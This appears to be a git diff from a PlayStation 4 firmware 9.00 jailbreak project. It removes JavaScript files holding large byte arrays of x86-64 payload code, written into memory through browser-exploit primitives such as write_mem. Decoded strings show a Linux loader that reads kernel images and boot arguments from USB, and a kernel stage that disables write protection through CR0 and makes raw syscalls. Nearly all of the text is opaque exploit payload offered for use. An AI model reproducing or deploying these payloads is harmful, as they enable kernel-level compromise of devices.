252,139,69,252,186,0,0,0,0,190,0,64,0,0,137,199,232,118,197,255,255,139,69,252,137,199,232,89,197,255,255,190,30,0,0,0,191,1,0,0,0,232,197,196,255,255,144,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,139,5,55,51,0,0,72,133,192,117,47,190,0,0,0,0,72,141,61,70,19,0,0,232,211,195,255,255,72,137,69,248,72,139,69,248,72,141,53,90,19,0,0,72,137,199,232,234,195,255,255,72,137,5,3,51,0,0,72,139,21,252,50,0,0,72,139,69,232,72,137,198,191,222,0,0,0,255,210,144,201,195,243,15,30,250,85,72,137,229,72,137,125,232,199,69,252,0,0,0,0,199,69,248,0,0,0,0,235,5,72,131,69,232,1,72,139,69,232,15,182,0,60,32,116,240,72,139,69,232,15,182,0,60,45,15,148,192,15,182,192,137,69,248,235,52,72,139,69,232,15,182,0,136,69,247,128,125,247,47,126,47,128,125,247,57,127,41,139,85,252,137,208,193,224,2,1,208,1,192,137,69,252,15,190,69,247,131,232,48,1,69,252,72,131,69,232,1,72,139,69,232,15,182,0,132,192,117,193,131,125,248,0,116,7,139,69,252,247,216,235,3,139,69,252,93,195,243,15,30,250,85,72,137,229,72,129,236,240,0,0,0,72,141,61,181,18,0,0,232,241,254,255,255,72,199,69,208,0,0,0,0,72,199,69,216,0,0,0,0,72,199,69,224,0,0,0,0,72,199,69,232,0,0,0,0,72,199,69,208,1,0,0,0,72,141,69,208,186,0,0,0,0,72,137,198,191,17,0,0,0,232,155,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,15,0,0,0,232,133,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,9,0,0,0,232,111,195,255,255,72,199,69,200,0,0,0,0,72,199,69,192,0,0,0,0,72,199,69,184,0,0,0,0,72,199,69,176,0,0,0,0,72,199,69,168,0,0,0,0,72,199,69,160,0,0,0,0,72,199,69,152,0,0,0,0,72,199,69,144,0,0,0,0,199,69,248,0,0,0,0,72,141,85,192,72,141,69,200,72,137,198,72,141,61,2,18,0,0,232,190,252,255,255,133,192,116,76,72,141,85,192,72,141,69,200,72,137,198,72,141,61,249,17,0,0,232,163,252,255,255,133,192,116,49,72,141,85,192,72,141,69,200,72,137,198,72,141,61,240,17,0,0,232,136,252,255,255,133,192,116,22,72,141,61,254,17,0,0,232,227,253,255,255,184,1,0,0,0,233,152,2,0,0,72,141,85,176,72,141,69,184,72,137,198,72,141,61,72,18,0,0,232,87,252,255,255,133,192,116,76,72,141,85,176,72,141,69,184,72,137,198,72,141,61,73,18,0,0,232,60,252,255,255,133,192,116,49,72,141,85,176,72,141,69,184,72,137,198,72,141,61,79,18,0,0,232,33,252,255,255,133,192,116,22,72,141,61,103,18,0,0,232,124,253,255,255,184,1,0,0,0,233,49,2,0,0,72,141,85,160,72,141,69,168,72,137,198,72,141,61,217,18,0,0,232,240,251,255,255,133,192,116,66,72,141,85,160,72,141,69,168,72,137,198,72,141,61,213,18,0,0,232,213,251,255,255,133,192,116,39,72,141,85,160,72,141,69,168,72,137,198,72,141,61,216,18,0,0,232,186,251,255,255,133,192,116,12,72,141,61,232,18,0,0,232,21,253,255,255,72,139,69,168,72,133,192,116,76,72,139,69,160,72,133,192,116,67,199,69,252,0,0,0,0,235,41,72,139,85,168,139,69,252,72,152,72,1,208,15,182,0,60,10,117,18,72,139,85,168,139,69,252,72,152,72,1,208,198,0,0,144,235,33,131,69,252,1,139,69,252,72,99,208,72,139,69,160,72,57,194,114,200,235,12,72,141,61,6,19,0,0,232,180,252,255,255,72,141,5,27,19,0,0,72,137,69,168,72,141,85,144,72,141,69,152,72,137,198,72,141,61,185,19,0,0,232,39,251,255,255,133,192,116,66,72,141,85,144,72,141,69,152,72,137,198,72,141,61,177,19,0,0,232,12,251,255,255,133,192,116,39,72,141,85,144,72,141,69,152,72,137,198,72,141,61,169,19,0,0,232,241,250,255,255,133,192,116,12,72,141,61,183,19,0,0,232,76,252,255,255,72,139,69,152,72,133,192,116,45,72,139,69,144,72,133,192,116,36,72,139,69,152,72,137,199,232,145,252,255,255,137,69,248,131,125,248,0,126,6,131,125,248,5,126,23,199,69,248,2,0,0,0,235,14,72,141,61,228,19,0,0,232,10,252,255,255,235,1,144,199,69,248,2,0,0,0,190,0,0,0,0,72,141,61,173,249,255,255,232,158,192,255,255,72,141,149,16,255,255,255,184,0,0,0,0,185,13,0,0,0,72,137,215,243,72,171,72,141,5,113,251,255,255,72,137,133,16,255,255,255,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,190,0,64,0,0,191,0,0,0,0,232,179,192,255,255,72,137,133,32,255,255,255,72,199,133,40,255,255,255,0,64,0,0,72,141,69,136,72,137,133,64,255,255,255,72,141,69,128,72,137,133,72,255,255,255,72,141,133,16,255,255,255,190,104,0,0,0,72,137,199,232,100,192,255,255,72,139,125,168,72,139,77,176,72,139,85,184,72,139,117,192,72,139,69,200,68,139,69,248,69,137,193,73,137,248,72,137,199,232,203,249,255,255,235,254,201,195,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,121,115,67,111,114,101,82,101,98,111,111,116,0,0,0,0,0,0,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,0,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,67,111,109,112,105,108,101,100,32,98,121,32,64,78,97,122,107,121,89,84,0,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,122,73,109,97,103,101,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,10,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,111,111,116,97,114,103,115,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,98,111,111,116,97,114,103,115,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0,0,0,0,0,0,0,0,112,97,110,105,99,61,48,32,99,108,111,99,107,115,111,117,114,99,101,61,116,115,99,32,114,97,100,101,111,110,46,100,112,109,61,48,32,99,111,110,115,111,108,101,61,116,116,121,48,32,99,111,110,115,111,108,101,61,116,116,121,83,48,44,49,49,53,50,48,48,110,56,32,99,111,110,115,111,108,101,61,117,97,114,116,56,50,53,48,44,109,109,105,111,51,50,44,48,120,100,48,51,52,48,48,48,48,32,118,105,100,101,111,61,72,68,77,73,45,65,45,49,58,49,57,50,48,120,49,48,56,48,45,50,52,64,54,48,32,99,111,110,115,111,108,101,98,108,97,110,107,61,48,32,110,101,116,46,105,102,110,97,109,101,115,61,48,32,100,114,109,46,100,101,98,117,103,61,48,0,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,118,114,97,109,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,118,114,97,109,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0]; - -window.mira_blob_2_len = 0x54a5; -window.mira_blob_2 = malloc(window.mira_blob_2_len); -write_mem(window.mira_blob_2, payload); diff --git a/900N/LinuxLoader3gb.bin b/900N/LinuxLoader3gb.bin new file mode 100644 index 0000000..18ee93b Binary files /dev/null and b/900N/LinuxLoader3gb.bin differ diff --git a/900N/LinuxLoader3gb.js b/900N/LinuxLoader3gb.js deleted file mode 100644 index f1e0db7..0000000 --- a/900N/LinuxLoader3gb.js +++ /dev/null @@ -1,5 +0,0 @@ -var payload = [233,169,61,0,0,243,15,30,250,85,72,137,229,72,129,236,208,1,0,0,72,137,189,72,254,255,255,137,181,68,254,255,255,72,137,149,56,254,255,255,72,137,141,48,254,255,255,199,69,252,0,0,0,0,72,141,85,252,72,139,133,72,254,255,255,185,0,0,0,0,190,0,0,0,0,72,137,199,232,231,1,0,0,72,133,192,116,7,184,0,0,0,0,235,89,72,199,133,80,254,255,255,168,1,0,0,139,69,252,72,141,149,80,254,255,255,190,0,0,0,0,137,199,232,205,1,0,0,133,192,116,7,184,0,0,0,0,235,45,139,69,244,131,248,1,119,32,72,139,133,120,255,255,255,72,137,193,72,139,149,56,254,255,255,72,139,133,48,254,255,255,72,137,214,72,137,199,255,209,139,69,252,72,152,201,195,243,15,30,250,85,72,137,229,72,131,236,16,72,137,125,248,137,117,244,139,117,244,72,139,69,248,185,0,0,0,0,186,0,0,0,0,72,137,199,232,31,255,255,255,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,137,117,224,72,199,69,248,0,0,0,0,72,139,69,232,137,193,72,141,85,248,72,139,69,224,72,137,198,137,207,232,11,1,0,0,72,139,69,248,201,195,102,46,15,31,132,0,0,0,0,0,15,31,64,0,72,199,192,3,0,0,0,73,137,202,15,5,15,130,30,1,0,0,195,72,199,192,5,0,0,0,73,137,202,15,5,15,130,11,1,0,0,195,72,199,192,6,0,0,0,73,137,202,15,5,15,130,248,0,0,0,195,72,199,192,11,0,0,0,73,137,202,15,5,15,130,229,0,0,0,195,72,199,192,37,0,0,0,73,137,202,15,5,15,130,210,0,0,0,195,72,199,192,240,0,0,0,73,137,202,15,5,15,130,191,0,0,0,195,72,199,192,160,1,0,0,73,137,202,15,5,15,130,172,0,0,0,195,72,199,192,199,1,0,0,73,137,202,15,5,15,130,153,0,0,0,195,72,199,192,221,1,0,0,73,137,202,15,5,15,130,134,0,0,0,195,72,199,192,222,1,0,0,73,137,202,15,5,15,130,115,0,0,0,195,72,199,192,28,2,0,0,73,137,202,15,5,15,130,96,0,0,0,195,72,199,192,29,2,0,0,73,137,202,15,5,15,130,77,0,0,0,195,72,199,192,34,2,0,0,73,137,202,15,5,15,130,58,0,0,0,195,72,199,192,79,2,0,0,73,137,202,15,5,15,130,39,0,0,0,195,72,199,192,82,2,0,0,73,137,202,15,5,15,130,20,0,0,0,195,72,199,192,96,2,0,0,73,137,202,15,5,15,130,1,0,0,0,195,137,5,154,109,0,0,72,49,192,72,255,200,195,243,15,30,250,65,85,65,84,85,72,137,245,83,81,156,65,93,250,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,232,156,36,0,0,65,131,204,255,133,192,120,76,190,153,0,0,0,72,141,61,217,47,0,0,49,192,69,49,228,255,21,203,54,0,0,186,6,0,0,0,72,141,53,130,0,0,0,191,153,0,0,0,232,188,35,0,0,49,192,72,141,61,216,47,0,0,255,21,166,54,0,0,72,133,237,116,11,72,141,5,93,0,0,0,72,137,69,0,15,32,192,129,227,0,0,1,0,72,9,216,15,34,192,72,133,219,72,139,5,229,54,0,0,116,7,72,133,192,116,2,255,208,65,85,157,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,72,133,255,116,26,49,192,72,133,246,116,19,72,57,194,116,11,138,12,7,136,12,6,72,255,192,235,240,49,192,195,184,14,0,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,139,70,24,72,133,255,72,137,243,72,141,45,180,255,255,255,72,137,4,36,72,141,5,82,3,0,0,72,137,68,36,16,116,19,72,139,5,33,54,0,0,72,139,45,10,54,0,0,72,137,68,36,16,72,141,61,62,44,0,0,49,192,255,21,230,53,0,0,72,139,75,16,49,192,72,139,83,8,72,141,61,56,44,0,0,76,139,75,32,76,139,67,24,72,139,51,255,21,196,53,0,0,72,139,5,61,54,0,0,72,133,192,72,137,68,36,24,15,132,148,2,0,0,72,139,123,8,232,84,33,0,0,72,133,192,73,137,198,117,25,72,141,61,29,44,0,0,49,192,49,237,69,49,237,255,21,138,53,0,0,69,49,210,235,94,72,139,83,8,72,137,198,72,139,59,255,213,133,192,65,137,196,116,31,72,141,61,11,44,0,0,49,192,49,237,69,49,255,255,21,94,53,0,0,69,49,237,69,49,210,233,76,2,0,0,72,139,4,36,72,141,184,112,128,1,0,232,241,32,0,0,72,133,192,73,137,197,117,34,72,141,61,237,43,0,0,49,192,49,237,255,21,42,53,0,0,69,49,210,69,49,255,65,188,12,0,0,0,233,18,2,0,0,72,137,199,232,74,21,0,0,72,99,208,133,192,72,137,84,36,8,121,24,72,141,61,213,43,0,0,49,192,255,21,246,52,0,0,72,199,68,36,8,0,0,0,0,72,131,60,36,0,116,49,72,139,68,36,8,72,139,123,16,72,139,20,36,73,141,116,5,0,255,2